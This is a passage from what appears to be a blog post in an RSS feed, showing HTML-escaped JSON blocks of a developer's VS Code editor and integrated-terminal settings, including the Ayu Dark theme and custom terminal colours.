&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"workbench.colorTheme"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Ayu Dark"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"workbench.iconTheme"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"material-icon-theme"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"workbench.startupEditor"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"none"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"workbench.tree.enableStickyScroll"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"editor.cursorBlinking"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"smooth"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"editor.cursorSmoothCaretAnimation"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"on"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"git.autofetch"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"tabnine.experimentalAutoImports"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"workbench.activityBar.location"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"top"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"editor.language.colorizedBracketPairs"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[],&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"workbench.preferredHighContrastColorTheme"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Ayu Dark Bordered"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"workbench.preferredHighContrastLightColorTheme"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Ayu Light"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"workbench.preferredLightColorTheme"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Ayu"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"window.menuBarVisibility"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"toggle"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"workbench.editor.centeredLayoutFixedWidth"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"editor.fontWeight"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"500"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"editor.fontVariations"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"editor.tokenColorCustomizations"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"[Ayu Dark]"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"git.ignoreRebaseWarning"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"go.toolsManagement.autoUpdate"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Terminal Settings
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="nl"&gt;"terminal.integrated.cursorBlinking"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"terminal.integrated.cursorStyle"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"line"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"terminal.integrated.smoothScrolling"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"terminal.integrated.cursorStyleInactive"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"none"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"terminal.integrated.fontFamily"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"monospace"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"terminal.integrated.fontWeight"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"normal"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"terminal.integrated.lineHeight"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"terminal.integrated.gpuAcceleration"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"auto"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"terminal.integrated.scrollback"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"terminal.integrated.focusAfterRun"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"terminal"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"terminal.integrated.tabs.defaultColor"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"terminal.ansiBlack"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"terminal.integrated.tabs.title"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"${sequence}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;

  &lt;/span&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;----------------------------------------------&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Custom&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Colors&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Theming&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;----------------------------------------------&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"workbench.colorCustomizations"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"[Ayu Dark]"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"terminal.foreground"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"#E6E1CF"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"terminalCursor.foreground"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"#FFA500"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"terminalCursor.background"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"#E6E1CF"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"terminal.ansiBlack"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"#3C3F58"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"terminal.ansiBlue"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"#39BAE6"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"terminal.ansiCyan"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"#95E6CB"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"terminal.ansiGreen"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"#a7ca71"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"terminal.ansiMagenta"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"#C792EA"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"terminal.ansiRed"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"#F07178"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"terminal.ansiWhite"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"#F8F8F2"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"terminal.ansiYellow"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"#FFCB6B"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"terminal.ansiBrightBlack"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"#5A5A76"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"terminal.ansiBrightBlue"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"#39BAE6"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"terminal.ansiBrightCyan"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"#95E6CB"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"terminal.ansiBrightGreen"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"#C3E88D"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"terminal.ansiBrightMagenta"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"#C792EA"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"terminal.ansiBrightRed"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"#F07178"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"terminal.ansiBrightWhite"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"#F8F8F2"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"terminal.ansiBrightYellow"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"#FFCB6B"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"editorCursor.foreground"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"#FF8C00"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"editorCursor.background"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"#E6E1CF"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"terminal.background"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"#00000000"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"terminal.integrated.confirmOnKill"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"editor"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
    </item>
  </channel>
</rss>
